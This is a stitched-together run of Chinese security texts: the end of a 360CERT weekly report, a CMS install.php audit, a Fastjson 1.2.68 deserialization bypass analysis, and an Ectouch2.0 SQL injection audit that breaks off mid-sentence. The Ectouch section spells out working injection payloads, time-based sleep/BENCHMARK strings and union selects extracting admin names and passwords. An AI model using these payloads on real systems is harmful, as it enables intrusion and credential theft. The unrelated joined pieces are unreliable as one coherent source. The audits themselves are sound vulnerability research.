微软解释说：“只有当设备已经安装了2020年9月16日或更高版本发布的任何最新累计更新（LCU），然后从媒体或没有集成2020年10月13日发布的LCU或更高版本的安装源继续更新到更高版本的Windows10时，设备才会受到影响。”
**详情**
[Windows 10 bug: Certificates lost after feature upgrade? We’re working on
fix, says Microsoft](https://www.zdnet.com/article/windows-10-bug-certificates-lost-after-feature-upgrade-were-working-on-fix-says-microsoft/)
### 自动化供应商SaltStack修补漏洞
日期: 2020年11月04日
等级: 中
作者: Simon Sharwood
标签: SaltStack, CVE-2020-16846, CVE-2020-17490, CVE-2020-25592
自动化供应商SaltStack透露了三个漏洞，其中两个很可能被评为严重，它们的CVE编号是CVE-2020-16846、CVE-2020-17490和CVE-2020-25592。SaltStack说，这些漏洞应该在用户的待办事项列表中排在首位。另外，SaltStack正在单独处理这个问题。新的母公司VMware尚未发布安全建议。
**详情**
[Automation vendor SaltStack warns of stop-watching-the-election-and-patch-now
bugs](https://www.theregister.com/2020/11/04/saltstack_security/)
### 苹果修复了Google团队发现的三个0day漏洞
日期: 2020年11月06日
等级: 中
作者: Steve Zurier
标签: Apple, iOS, Google, Project Zero, Vulnerability, Patches
苹果2020年10月5日发布了iOS补丁，针对谷歌的projectzero安全团队发现的三个零日漏洞。研究人员表示，这三个漏洞都被用作攻击链的一部分，攻击者可以利用这些漏洞危害iOS设备，并有可能让他们的设备攻击它们，接管摄像头或麦克风，在用户输入个人或工作凭据时共享位置数据和记录击键记录。虽然苹果和谷歌都没有透露有多少目标被击中，但为了安全起见，他们建议iOS用户运行iOS14.2的补丁。
**详情**
[Apple patches three zero-day vulnerabilities found by Google’s Project Zero
team](https://www.scmagazine.com/home/security-news/apple-patches-three-zero-day-vulnerabilities-found-by-googles-project-zero-team/)
### 美国和巴西当局查获2400万美元的加密货币
日期: 2020年11月05日
等级: 低
作者: Charlie Osborne
标签: US, Brazilian, Operation Egypto, Seize, Cryptocurrency
美国和巴西当局查获了2400万美元的加密货币，这些货币与一个据称欺骗数万投资者的网络计划有关。美国司法部表示，这些公司本来打算投资虚拟资产。然而，只有一小部分资金用于此目的，而其余资金则流入了涉嫌欺诈者的口袋。应巴西政府要求，美国执法部门参与了巴西联邦调查涉嫌诈骗的“埃及行动”。根据《刑事事项司法协助条约》进行的合作努力，追查了嫌疑人马科斯·安东尼奥·法贡德斯，他被控未经合法授权经营金融机构、欺诈性管理金融机构、挪用公款、洗钱，违反证券法。
**详情**
[US, Brazilian law enforcement seize $24 million in cryptocurrency generated
through online fraud](https://www.zdnet.com/article/us-brazilian-law-enforcement-seize-24-million-in-cryptocurrency-generated-through-online-fraud/)
### **相关安全建议**
1. 及时对系统及各个服务组件进行版本升级和补丁更新
2. 减少外网资源和不相关的业务，降低被攻击的风险
3. 包括浏览器、邮件客户端、vpn、远程桌面等在内的个人应用程序，应及时更新到最新版本
## 0x06 产品侧解决方案
### 360城市级网络安全监测服务
360CERT的安全分析人员利用360安全大脑的QUAKE资产测绘平台(quake.360.cn)，通过资产测绘技术的方式，对该漏洞进行监测。可联系相关产品区域负责人或(quake#360.cn)获取对应产品。
### 360安全分析响应平台
360安全大脑的安全分析响应平台通过网络流量检测、多传感器数据融合关联分析手段，对网络攻击进行实时检测和阻断，请用户联系相关产品区域负责人或(shaoyulong#360.cn)获取对应产品。
### 360安全卫士
针对以上安全事件，360cert建议广大用户使用360安全卫士定期对设备进行安全检测，以做好资产自查以及防护工作。
## 0x07 时间线
**2020-11-09** 360CERT发布安全事件周报 | 社区文章 |
**0x00 前言**
很久没审计了，在A5拉了套源码看看，发现了几点问题，感觉还挺有趣的，发出来看看。
**0x01 奇葩的install.php**
系统是用了全局变量注册，有很多的过滤函数，没细看。
顺着install.php代码走一遍，先是include了很多必要的文件。
@include './install/langs/blangs.cac.php';
@include './install/langs/ilangs.cac.php';
@include './install/install.fun.php';
@include './base.inc.php';
@include './include/mysql.cls.php';
其中有一个叫base.inc.php的文件，后来发现是存放数据库配置的文件。
默认的时候长这样：
跟着往下走，在判断install.lock的时候，代码如下：
f(!isset($dbhost) || !isset($ckpre)){
...
}elseif(file_exists($lockfile)){
$ierror = lang('lockexist');
}elseif(!class_exists('cls_mysql')){
...
}
调用了个lang方法，返回结果赋给ierror变量。
function lang($str=''){
global $langs;
$result = '';
$arr = explode(' ',$str);
if(empty($arr)) return '';
foreach($arr as $var){
$var = trim($var);
$result .= isset($langs[$var]) ? $langs[$var] : $var;
}
return $result;
}
可以看到方法lang里面没有exit掉，代码还会继续走。如果后面没有判断好，就是个典型的没有exit导致的重装？
继续看下面的代码，我缩减了一下代码，整体结构如下：
if($step == 1){
...
}elseif($step == '2'){
...
}elseif($step == '3'){
...
}elseif($step == '4'){
...
}elseif($step == '5'){
if($write_error){
$readonly = 1;
$ierror = './base.inc.php'.lang('forbidwrite');
}else $readonly = 0;
if($_POST['saveconfig']) {
$dbhost = setconfig($_POST['dbhost']);
$dbuser = setconfig($_POST['dbuser']);
$dbpw = setconfig($_POST['dbpw']);
$dbname = setconfig($_POST['dbname']);
$adminemail = setconfig($_POST['adminemail']);
$tblprefix = setconfig($_POST['tblprefix']);
if(empty($dbname)){
$ierror = lang('please input database cname');
}else{
if(!@mysql_connect($dbhost, $dbuser, $dbpw)){
$ierror = lang('dberror'.mysql_errno());
}else{
if(mysql_get_server_info() > '4.1'){
mysql_query("CREATE DATABASE IF NOT EXISTS `$dbname` DEFAULT CHARACTER SET $dbcharset");
}else mysql_query("CREATE DATABASE IF NOT EXISTS `$dbname`");
if(mysql_errno()) $ierror = lang('dberror'.mysql_errno());
mysql_close();
}
}
if(preg_match("/[^a-zA-Z_0-9]+/",$tblprefix)) $ierror = lang('pointed tblprefix illegal');
if(!$ierror){
$fp = fopen('./base.inc.php','r');
$configfile = fread($fp, filesize('./base.inc.php'));
fclose($fp);
$configfile = preg_replace("/[$]dbhost\s*\=\s*[\"'].*?[\"'];/is", "\$dbhost = '$dbhost';", $configfile);
$configfile = preg_replace("/[$]dbuser\s*\=\s*[\"'].*?[\"'];/is", "\$dbuser = '$dbuser';", $configfile);
$configfile = preg_replace("/[$]dbpw\s*\=\s*[\"'].*?[\"'];/is", "\$dbpw = '$dbpw';", $configfile);
$configfile = preg_replace("/[$]dbname\s*\=\s*[\"'].*?[\"'];/is", "\$dbname = '$dbname';", $configfile);
$configfile = preg_replace("/[$]adminemail\s*\=\s*[\"'].*?[\"'];/is", "\$adminemail = '$adminemail';", $configfile);
$configfile = preg_replace("/[$]tblprefix\s*\=\s*[\"'].*?[\"'];/is", "\$tblprefix = '$tblprefix';", $configfile);
$configfile = preg_replace("/[$]ckpre\s*\=\s*[\"'].*?[\"'];/is", "\$ckpre = '".random(3)."_';", $configfile);
$fp = fopen('./base.inc.php', 'w');
fwrite($fp, trim($configfile));
fclose($fp);
redirect("$installfile?step=6");
}
}
ins_header(1);
echo "<table width=\"95%\" cellspacing=\"1\" bgcolor=\"#D0DBE7\" border=\"0\" align=\"center\">\n";
trheader(array(lang('setting item'),lang('setting value'),lang('guide'),));
trbasic(array(lang('database server'),input_str('dbhost',$dbhost,'text',30,$readonly),lang('dbhost_guide')),0);
trbasic(array(lang('database user'),input_str('dbuser',$dbuser,'text',30,$readonly),lang('dbuser_guide')),0);
trbasic(array(lang('database password'),input_str('dbpw',$dbpw,'password',30,$readonly),lang('dbpw_guide')),0);
trbasic(array(lang('database cname'),input_str('dbname',$dbname,'text',30,$readonly),lang('dbname_guide')),0);
trbasic(array(lang('system email'),input_str('adminemail',$adminemail,'text',30,$readonly),lang('email_guide')),0);
trbasic(array(lang('tblprefix'),input_str('tblprefix',$tblprefix,'text',30,$readonly),lang('tblprefix_guide')),0);
echo "</table>\n";
ins_mider();
hidden_str('step',5);
hidden_str('saveconfig',1);
button_str('submit',lang('continue'));
ins_footer();
$ierror && ins_message($ierror);
}
看到step=5的时候，程序接收用户输入的配置信息，测试数据库连接是否正确（这里我们可以采用外连数据库的方式绕过），接下来将配置信息写入到base.inc.php。
但在写入的时候会判断一下ierror变量是否为空，为空才进行写入配置文件的操作。又因为已经装过了一次，在判断install.lock文件的时候ierror变量就已经存在信息了。所以这里就执行不到写入文件的代码了。
接着往下看的时候，又发现程序会把输入的数据库配置信息打印出来，因为前面已经包含了base.inc.php，所以这里打印的其实就是之前用户安装时候配置的信息。
给个官网demo截图，如下：
继续看下面，在step=6的时候，创建管理员账号，其中有一串代码是这样的
if(!$ierror){
redirect("$installfile?step=7&username=".rawurlencode($username)."&email=".rawurlencode($email)."&password=".md5(md5($password1)));
}
在判断没有任何问题的时候又把信息发给了step=7，而step=7在接收到信息，还是没有创建。。。
代码来到最后，终于是要创建数据库相关的了。
把整体理一下，虽然前面我们没办法通过配置文件来写shell，但后面我们可以试着插入一个管理员账号。
但想象是美好的，现实是残酷的，报错了。
去看了一下sql文件才发现，原来这家伙没有判断table是否存在，如果存在就drop掉。（之前看了很多代码都是会有这样的判断的，一般为了方便用户重装）
额，目的虽然没有达成，但这个代码真的是实属奇葩。。一路审一路笑，同事快把我当成傻子了。。。
**0x02 sql注入**
虽然addslashes了，但结合着全局变量注册都不是问题。
首先看到这个general.inc.php，是整个系统的核心处理文件,其中有这么一串代码
在注入变量之前，引入了base.inc.php，之前我们知道这是一个数据库配置文件。其中有一个变量叫做tblprefix，故名思议就是表名前缀了。
因为引入在前，那么一个很完美的变量覆盖。全局查找一下这个$tblprefix在哪些地方用到：
还是挺多的，但比较好利用的可能比较少。我找了一个，vote.php
看到代码：
表名前缀在这么一个位置，完美的注入点。
而且系统是开启了报错的，不知道是我的环境问题还是怎么样，但如果是我的环境问题还是可以开启报错的
因为还是可以通过变量覆盖的方式来开启报错，这个phpviewerror是在base.inc.php中的。
最后成功报错注入：
**0x03 总结**
这套系统的install.php代码真的是很奇葩，变量覆盖的锅依旧有很多系统在背着啊~ | 社区文章 |
# Fastjson <=1.2.68 反序列化远程命令执行漏洞分析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 一、漏洞概述
近期Fastjson连续发布了两个版本。其中1.2.69版本修复了两个安全漏洞：前者能够绕过反序列化autotype开关限制，造成的危害严重；而后者则是常规的黑名单列表更新，在开启autotype且当前Classpath中存在Gadget类前提下会触发反序列化漏洞。对于1.2.70版本，从commit得知针对安全问题只是在黑名单列表中新增了12个Gadget漏洞利用类。相比较而言，没有出现绕过autotype的限制，造成影响并没有上版中第一个漏洞危害大。
经分析发现，绕过autotype开关反序列化漏洞在1.2.68及以下版本中均受影响，黑客可利用该漏洞直接获取服务器系统权限并远程执行任意命令。当前官方采用黑白名单的方式防御上述漏洞，但存在漏洞版本中没有统一控制的方式彻底关闭反序列化功能，导致威胁始终存在。本文主要分析了绕过autotype的漏洞成因、POC构造方式及修复建议。
## 二、漏洞分析
### 漏洞成因
Fastjson组件在反序列化不可信数据时会导致远程代码执行。究其原因：1.
Fastjson提供了反序列化功能，允许用户在输入JSON串时通过“@type”键对应的value指定任意反序列化类名；2.
Fastjson自定义的反序列化机制会使用反射生成上述指定类的实例化对象，并自动调用该对象的setter方法及部分getter方法。攻击者可以构造恶意请求，使目标应用的代码执行流程进入这部分特定setter或getter方法，若上述方法中有可被恶意利用的逻辑（也就是通常所指的“Gadget”），则会造成一些严重的安全问题。官方采用了黑名单方式对反序列化类名校验，但随着时间的推移及自动化漏洞挖掘能力的提升。新Gadget会不断涌现，黑名单这种治标不治本的方式只会导致不断被绕过，从而对使用该组件的用户带来不断升级版本的困扰。
### 补丁diff分析
通过68和69版本补丁diff分析发现（https://github.com/alibaba/fastjson/compare/1.2.68…1.2.69），总计有928处文件修改，其中1094处新增、233处删除。
经对比分析，发现在src/main/java/com/alibaba/fastjson/parser/ParserConfig.java中将原明文存储的期望类经自定义消息摘要函数转换为hash值，并且新增了三个Class对象，较其它修改部分而言，推测这三个期望类是绕过autotype机制关键之所在。补丁详情如下图所示：
使用彩虹表碰撞的方式，还原出了全部经消息摘要函数散列运算的明文Class对象，其中增量部分如下表所示：
版本 | 十进制hash值 | 十六进制hash值 | 类名
---|---|---|---
1.2.69 | 5183404141909004468L | 0x47ef269aadc650b4L | java.lang.Runnable
1.2.69 | 2980334044947851925L | 0x295c4605fd1eaa95L | java.lang.Readable
1.2.69 | -1368967840069965882L | 0xed007300a7b227c6L | java.lang.AutoCloseable
从上述源码分析得知，将输入的期望类和源码中定义的Class对象做了 ”==” 运算符比较，
并依据判断结果为布尔类型标志位expectClassFlag赋值。为了解该标志位作用，跟入com.alibaba.fastjson.parser.
ParserConfig源码中查看该变量的引用，发现总计有两处if条件判断表达式中将该部分作为的输入值之一，如下图所示：
继续跟入上述条件表达式，发现都在ParserConfig#checkAutoType方法中定义，其中之一在方法体内部调用了TypeUtils.loadClass方法加载类，如下如所示：
因为该部分是反序列化类的关键部分之一，所以进一步印证了上述猜想。
使用68版本搭建调试环境，因为反序列化功能需要指定“@type”键，先尝试将其对应的value值指定为java.lang.AutoCloseable，开始调试分析。程序执行过程中首先在TypeUtils#addBaseClassMappings方法中调用ConcurrentMap对象的put方法添加java.lang.AutoCloseable
Class对象。如下图所示：
无论是否开启autotype开关，在反序列化前都会经过ParserConfig#checkAutoType函数校验所加载的反序列化类名：
因该类不在官方内置白名单中，进行如下解析流程：1.采用二分查找法，检索一遍由内置白名单加上用户自定义白名单（可选）所组成的全量白名单列表。若检索结果大于等于0，则调用TypeUtils.loadClass加载类，在返回值不为空的前提下返回该class对象；2.若上述检索结果为空，继续使用二分法检索黑名单列表。在检索结果大于等于0并且调用TypeUtils.getClassFromMapping返回值为Null的前提下，再次使用二分法检索白名单列表，若检索结果为空则抛出JSONException异常。详细代码，如下图所示：
经过上述黑白名单校验后，继续调用TypeUtils.getClassFromMapping方法从上文mapping对象中获取当前Class对象:
继续单步调试过程，返回了该class对象：
上述过程只是想调试针对java.lang.AutoCloseable接口的解析流程，由于解析到后续传入的是空Json对象，直接结束了反序列化过程：
### POC构造
基于上一小节补丁diff分析，下面开始构造POC。受1.2.47版本绕过autotype开关限制的启发，采用嵌套定义Json对象的方式在原基础上复用历史恶意payload，并开始后续调试过程。
前面解析过程和上一小节一致，此处继续Json串扫描解析过程：
再次步入ParserConfig#checkAutoType方法，注意此时第二个参数 expectClass 为 AutoCloseable.class
，通常情况下这个参数都为 Null，此处采用了指定期望类的方式加载反序列化链中目标类：
继续单步调试，因上述类名未出现在默认列表中，此时期望类标志位被设置为true：
当前期望标志类为true时满足分支判断条件，进入如下解析流程，从源码得知会将目标类经过黑白名单校验，因为此时提供的Gadget
com.sun.rowset.JdbcRowSetImpl出现在黑名单列表中，直接抛出异常：
这是本次漏洞和历史上47版本绕过autotype最大的不同之处，后者主要利用代码逻辑缺陷变相绕过了黑名单以及autotype开关检查，详情请参考文献2
，构造EXP的过程中可以直接复用历史Gadget。而本次漏洞利用过程中还需经黑名单校验，所以历史Gadget
构造的EXP在本次漏洞利用中已然失效。这就需要寻找不存在于黑名单列表中的新Gadget，
跟入上文中另一个引用了标志位的条件分支中，源码如下：
进入该判断逻辑中调用TypeUtils.loadClass方法加载目标类。
继续查看后续执行过程，发现如下判断逻辑：
当期望类不为空，调用isAssignableFrom()方法。跟入该方法从描述信息中发现，主要作用是判断一个类是否为某一个接口的实现类或者某个类的子类。
此时终于水落石出，真相大白。原来构造POC过程所输入目标类名，不仅需要不在当前黑名单列表，还需同时满足是所提供期望类的实现类。从实验角度出发，这里写了一个AutoCloseable接口的实现类并在getter方法中调用危险敏感函数。继续下面的漏洞调试，因为当前未开启autotype开关，进入常规黑白名单校验过程：
调用TypeUtils.loadClass方法加载需要反序列化的目标类：
这里判断了如果期望类不为空且反序列化目标类实现了期望接口就会添加到缓存 mapping 中并返回该class对象：
Fastjson调用ASM生成目标类的反序列化器：
和47版本绕过方法相类似，已加入到缓存表中的类在反序列化解析时会绕过autotype开关限制，并使用上述反序列化器反序列化目标类。最终造成任意命令执行，漏洞触发结果如下图所示：
完整漏洞原理分析过程到此也就全部结束了，在实战场景下，只需去寻找满足上述条件的合适
Gadget来利用此漏洞。这部分工作就交给亲爱的读者朋友们了，作者在此不过多赘述。探究漏洞原理的过程是繁琐而又有趣的，真可谓“山穷水尽疑无路，柳暗花明又一村”。同时在此祝愿Fastjson这款优秀的产品，能够越来越安全。
## 三、修复建议
1. 对于使用了fastjson反序列化功能的应用，请将组件版本升级至1.2.70或对应版本的sec10安全版本（注意：不能开启safemode模式，否则会影响反序列化功能）。
2. 其他未使用反序列化功能的应用，可将组件版本升级至1.2.70或对应版本的sec10安全版本并推荐开启safemode模式。
3. Safemode模式
Fastjson
1.2.68及之后的版本（包括安全修复版本sec10）中，新增了safeMode模式，开启方式参考：<https://github.com/alibaba/fastjson/wiki/fastjson_safemode>。
跟进源码分析了safemode模式底层实现原理，当Fastjson解析到Json串中出现了“@type”键后会统一进入反序列化解析流程，从value中获取需反序列化的类名，经过ParserConfig#checkAutoType检查函数校验。并根据是否开启autotype使用不同先后顺序的黑白名单做类名检查。引入safemode模式后在执行后续反序列化过程前做了一次判断，当开启safemode时，由于布尔类型变量为true，对于传入的任意类名直接抛出异常，从而不进行后续的反序列化流程。Safemode可以说是等价于一个是否开启反序列化功能的总开关，开启后则禁用了反序列化功能。其中核心实现代码如下所示：
开启safeMode模式后，依靠移除反序列化功能，从而保障不会遭受反序列化漏洞危害所造成的影响。理论上不用因为日后所爆发的反序列化漏洞原因而不断升级至新版本。
## 四、Reference
1. <https://github.com/alibaba/fastjson/commit/1e1239eb5f4c2052dbc097d2c4e619ebc6e5cc28>
2. <https://www.anquanke.com/post/id/181874> | 社区文章 |
# Etouch2.0 分析代码审计流程 (二) 前台SQL注入
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 0x1 前言
拜读了phpoop师傅的审计文章,心情激动w分,急急忙忙写完手头作业,为了弥补上篇的遗憾,趁热继续认真重读了前台代码(之前没认真读需要登陆的控制器),然后幸运的在各个地方找到了几个还算满意的前台注入。阅读此文,强烈建议,食用开篇作[Ectouch2.0
分析解读代码审计流程](https://www.anquanke.com/post/id/168991),风味更佳。
## 0x2 介绍下ECTOUCH的相关配置
更多内容可以参考上篇文章[Ectouch2.0
分析解读代码审计流程](https://www.anquanke.com/post/id/168991),这里主要针对SQL谈谈。
1. 程序安装默认关闭debug模式,这样子程序不会输出mysql错误
`/upload/mobile/include/base/drivers/db/EcMysql.class.php`
```php
//输出错误信息
public function error($message = '', $error = '', $errorno = '') {
if (DEBUG) { //false
$str = " {$message}<br>
<b>SQL</b>: {$this->sql}<br>
<b>错误详情</b>: {$error}<br>
<b>错误代码</b>:{$errorno}<br>";
} else {
$str = "<b>出错</b>: $message<br>";
}
throw new Exception($str);
}
```
所以一般考虑盲注,有回显的注入,要不然过于鸡肋了。
## 0x3 谈谈自己审计这个cms的误区
当时我看前台的时候很容易就可以发现limit后面的注入,因为我之前一直认为limit后面只能使用报错注入,然后就没怎么研究直接跳过了,导致第一次没审计出前台注入,后来我找了下资料,发现自己错了,limit后面也可以进行盲注,不过参考下网上文章这种方法只是适用
**5.6.6的5.x系列** ,
为了严谨一点,我本地测试了下,发现的确不行,但是没有去深入了解底层原理,如果有师傅愿意谈谈,实在是我的荣幸,所以说limit后注入是有mysql的版本限制的,所以这里我只分享一个limit后的注入,其他点抛砖引玉。
参考文章:[技术分享：Mysql注入点在limit关键字后面的利用方法
](https://www.freebuf.com/articles/web/57528.html)
> _分享写tips:_
>
> 1.可能有些跟我一样的菜鸟还是不理解要去哪里找注入,这里谈谈我的看法。
>
>
> 首先注入需要交互,也就是需要输入,所以要找个接收参数的点,这个时候直接去看控制器无疑是很好的选择,因为这里是功能点,需要用户来交互,当然不排除有其他的地方,ex。
## 0x5 前台 Flow consignee_list limit限制SQL注入
`upload/mobile/include/apps/default/controllers/FlowController.class.php`
*/
public function consignee_list() {
if (IS_AJAX) {
$start = $_POST ['last']; //可控
$limit = $_POST ['amount']; //可控
// 获得用户所有的收货人信息
$consignee_list = model('Users')->get_consignee_list($_SESSION['user_id'], 0, $limit, $start);//这里传入
......................
die(json_encode($sayList));
exit();
可控参数如入了`Users`model类里面,跟进函数:
`pload/mobile/include/apps/default/models/UsersModel.class.php`
function get_consignee_list($user_id, $id = 0, $num = 10, $start = 0) {
if ($id) {
$where['user_id'] = $user_id;
$where['address_id'] = $id;
$this->table = 'user_address';
return $this->find($where);
} else {
$sql = 'select ua.*,u.address_id as adds_id from ' . $this->pre . 'user_address as ua left join '. $this->pre . 'users as u on ua.address_id =u.address_id'. ' where ua.user_id = ' . $user_id . ' order by ua.address_id limit ' . $start . ', ' . $num; //很明显没有单引号,直接拼接进去造成了注入。
return $this->query($sql);
}
}
然后回头看下调用需要满足的条件:
`if (IS_AJAX) {`
下面介绍下寻找定义的技巧,(ps我以前第一次审计的时候看这东西很懵b,因为没有弄过开发,木有经验。)
`IS_AJAX` 这种很明显就是宏定义,直接搜索`define('IS_AJAX'`
public function __construct() {
$this->model = model('Base')->model;
$this->cloud = Cloud::getInstance();
// 定义当前请求的系统常量
define('NOW_TIME', $_SERVER ['REQUEST_TIME']);
define('REQUEST_METHOD', $_SERVER ['REQUEST_METHOD']);
define('IS_GET', REQUEST_METHOD == 'GET' ? true : false );
define('IS_POST', REQUEST_METHOD == 'POST' ? true : false );
define('IS_PUT', REQUEST_METHOD == 'PUT' ? true : false );
define('IS_DELETE', REQUEST_METHOD == 'DELETE' ? true : false );
define('IS_AJAX', (isset($_SERVER ['HTTP_X_REQUESTED_WITH']) && strtolower($_SERVER ['HTTP_X_REQUESTED_WITH']) == 'xmlhttprequest'));
load_file(ROOT_PATH . 'data/certificate/appkey.php');
}
控制器基类的构造函数里面定义了：`define('IS_AJAX',);`
所以利用方式就很简单了,两个可控参数都进去sql了,随便取一个
跟进下执行知道:
`$sql=select ua.*,u.address_id as adds_id from ecs_user_address as ua left
join ecs_users as u on ua.address_id =u.address_id where ua.user_id = 0 order
by ua.address_id limit 1,`
然后直接进入查询
`return $this->query($sql);`
所以可以构造payload:
last=1,1 PROCEDURE analyse((select extractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1) LIKE 5, BENCHMARK(5000000,SHA1(1)),1))))),1)#
关于其他limit点,在介绍一些我的 **skills** :
通过搜索正则 `limit ' .(.*)$num`、`limit.`:
`Searching 48 files for "limit ' .(.*)$num" (regex)`
这些重复的点再分析就很没有意思了,但是limit后注入这个系统很多,你们可以跟着文章去学习找找有趣的点。
## 0x6 前台 Flow done $order [‘shipping_id’]半无限制SQL注入
这个点不像前面那种那么明显可以看出来,这可能就考验我们的耐心去读代码了,这里谈谈我的 **skills**
> **直接正则匹配出sql的语句一条条的读,然后回溯排除。**
下面开始回到漏洞分析上:
`FlowController.class.php`
if (isset($is_real_good)) {
$res = $this->model->table('shipping')->field('shipping_id')->where("shipping_id=" . $order ['shipping_id'] . " AND enabled =1")->getOne();
if (!$res) {
show_message(L('flow_no_shipping'));
}
}
这里可以看到以字符串形式变量拼接到了where方法里面(字符串拼接及其容易导致SQL注入)
那么我们可以直接回溯前文看下`$order`是否可控:
lines 1094
$order = array(
'shipping_id' => I('post.shipping'),//这里可控
......................
);
然后我们看下需要满足什么条件才能执行到漏洞点处:
简单例子分析下:
public function done() {
/* 取得购物类型 */
$flow_type = isset($_SESSION ['flow_type']) ? intval($_SESSION ['flow_type']) : CART_GENERAL_GOODS;
/* 检查购物车中是否有商品 */
$condition = " session_id = '" . SESS_ID . "' " . "AND parent_id = 0 AND is_gift = 0 AND rec_type = '$flow_type'";
$count = $this->model->table('cart')->field('COUNT(*)')->where($condition)->getOne();
if ($count == 0) {
show_message(L('no_goods_in_cart'), '', '', 'warning'); //处理下这里
}
/* 如果使用库存，且下订单时减库存，则减少库存 */
if (C('use_storage') == '1' && C('stock_dec_time') == SDT_PLACE) {
$cart_goods_stock = model('Order')->get_cart_goods();
$_cart_goods_stock = array();
foreach ($cart_goods_stock ['goods_list'] as $value) {
$_cart_goods_stock [$value ['rec_id']] = $value ['goods_number'];
}
model('Flow')->flow_cart_stock($_cart_goods_stock);
unset($cart_goods_stock, $_cart_goods_stock);
}
// 检查用户是否已经登录 如果用户已经登录了则检查是否有默认的收货地址 如果没有登录则跳转到登录和注册页面
if (empty($_SESSION ['direct_shopping']) && $_SESSION ['user_id'] == 0) {
/* 用户没有登录且没有选定匿名购物，转向到登录页面 */
ecs_header("Location: " . url('user/login') . "n"); //这里要处理
}
主要是处理下
这些跳转停止代码执行的语句
`ecs_header("Location: " . url('user/login') . "n");`
需要用户登陆
`if (empty($_SESSION ['direct_shopping']) && $_SESSION ['user_id'] == 0) {`
后面一些判断条件依次满足就行了,这些都很简单,读读代码,就行了。
你也可以看我怎么利用然后返回去分析代码:
`http://127.0.0.1:8888/ecshop/upload/mobile/?m=default&c=flow&a=done`
直接访问提示购物车没有商品,那就随便注册个用户然后选个实物商品进去购物车
然后`http://127.0.0.1:8888/ecshop/upload/mobile/?m=default&c=flow&a=done`
提示填收货地址那么自己填写收货地址
这个时候就满足条件了：
`post:shipping=1 and sleep(5)%23`
其实这个点还是很有意思的,当时我在想能不能搞个回显注入
if (isset($is_real_good)) {
$res = $this->model->table('shipping')->field('shipping_id')->where("shipping_id=" . $order ['shipping_id'] . " AND enabled =1")->getOne();
if (!$res) { //这里返回了$res
show_message(L('flow_no_shipping'));
}
}
通过debug跟进到sql执行流程可以得到执行的语句是:
`$sql=SELECT shipping_id FROM ecs_shipping WHERE shipping_id=1 and sleep(1)%23
AND enabled =1 LIMIT 1`
一列,构造下payload:
`post:shipping=-1 union select user_name from ecs_admin_user%23`
那么得到的`$res` 就是管理员的用户名了,后面我跟了下(文件内搜索$res) 没有发现有输出
按照代码逻辑命名来讲,这个返回值相当于布尔判断吧,应该是没有输出的,仅仅起到判断的作用,所以这个前台漏洞只能布尔盲注了,这也是我说这个漏洞叫半限制SQL注入的原因。
## 0x7 前台 Category index 多个参数半限制SQL注入
这个点有点遗憾,但是却引起了我的诸多思考。
接下来的分析就不再花大笔墨去讲基础操作,代码分析,希望你能仔细阅读我前面的分析,然后自己去读代码。
`upload/mobile/include/apps/default/controllers/CategoryController.class.php`
public function index()
{
$this->parameter(); //跟进这里
private function parameter()
{
// 如果分类ID为0，则返回总分类页
if (empty($this->cat_id)) {
$this->cat_id = 0;
}
// 获得分类的相关信息
$cat = model('Category')->get_cat_info($this->cat_id);
$this->keywords();
$this->assign('show_asynclist', C('show_asynclist'));
// 初始化分页信息
$page_size = C('page_size');
$brand = I('request.brand', 0, 'intval');
$price_max = I('request.price_max'); //这里外部获取可控变量
$price_min = I('request.price_min'); //这里外部获取可控变量
$filter_attr = I('request.filter_attr');
$this->size = intval($page_size) > 0 ? intval($page_size) : 10;
$this->page = I('request.page') > 0 ? intval(I('request.page')) : 1;
$this->type = I('request.type');
$this->brand = $brand > 0 ? $brand : 0;
$this->price_max = $price_max > 0 ? $price_max : 0; //利用php弱类型绕过
$this->price_min = $price_min > 0 ? $price_min : 0;
这里 `$price_max = I('request.price_max');`->`$this->price_max = $price_max > 0
? $price_max : 0; //利用php弱类型绕过`
这个绕过很经典呀 `1.0union select == 1` 也就是说
`$this->price_max` 、`$this->price_min`变量可以被控制
继续跟进代码,发现:
Lines 75
$count = model('Category')->category_get_count($this->children, $this->brand, $this->type, $this->price_min, $this->price_max, $this->ext, $this->keywords);//可控变量
$goodslist = $this->category_get_goods();
$this->assign('goods_list', $goodslist);
.....................
$this->assign('pager', $this->pageShow($count));//注册返回结果到模版
当时我很开心啊,终于来个无限制回显的SQL注入,结果分析下去无果,但是我感觉很有意思。
我们继续跟进model类:
function category_get_count($children, $brand, $type, $min, $max, $ext, $keyword)
{
$where = "g.is_on_sale = 1 AND g.is_alone_sale = 1 AND " . "g.is_delete = 0 ";
if ($keyword != '') {
$where .= " AND (( 1 " . $keyword . " ) ) ";
} else {
$where .= " AND ($children OR " . model('Goods')->get_extension_goods($children) . ') ';
}
..............
if ($brand > 0) {
$where .= "AND g.brand_id = $brand ";//
}
if ($min > 0) {
$where .= " AND g.shop_price >= $min "; //直接拼接变量
}
if ($max > 0) { //这里可控
$where .= " AND g.shop_price <= $max"; //直接拼接变量
}
$sql = 'SELECT COUNT(*) as count FROM ' . $this->pre . 'goods AS g ' . ' LEFT JOIN ' . $this->pre . 'touch_goods AS xl ' . ' ON g.goods_id=xl.goods_id ' . ' LEFT JOIN ' . $this->pre . 'member_price AS mp ' . "ON mp.goods_id = g.goods_id AND mp.user_rank = '$_SESSION[user_rank]' " . "WHERE $where $ext "; //直接拼接变量
$res = $this->row($sql);//进入查询
return $res['count'];
}
`"WHERE $where $ext ";` 从这里可以看到100%注入了,那么构造下回显注入罗:
debug出SQL语句,本地MYSQL执行:
SELECT COUNT(*) as count FROM ecs_goods AS g LEFT JOIN ecs_touch_goods AS xl ON g.goods_id=xl.goods_id LEFT JOIN ecs_member_price AS mp ON mp.goods_id = g.goods_id AND mp.user_rank = '0' WHERE g.is_on_sale = 1 AND g.is_alone_sale = 1 AND g.is_delete = 0 AND (g.cat_id IN ('0') OR g.goods_id IN ('') ) AND g.shop_price <= 1
count的话总是会有返回值的,之前那个控制id=-1可以令结果集为空,然后联合注入,这个却不行,
骚操作,但是我们可以这样来绕过:
`AND g.shop_price <= 1.0union select password from ecs_admin_user;`
然后怎么让他升到第一列,利用`order by` //这种情况只适合两列或者有最大值的情况。
`AND g.shop_price <= 1.0union select password from ecs_admin_user order by
count desc limit 1;`
这样就可以返回管理员的密码了,哈哈我很开心呀,结果发现,页面没有返回,直接跳转到mysql错误那里去了,
经过分析在下面一行代码又重复调用了那个变量。
输入payload:
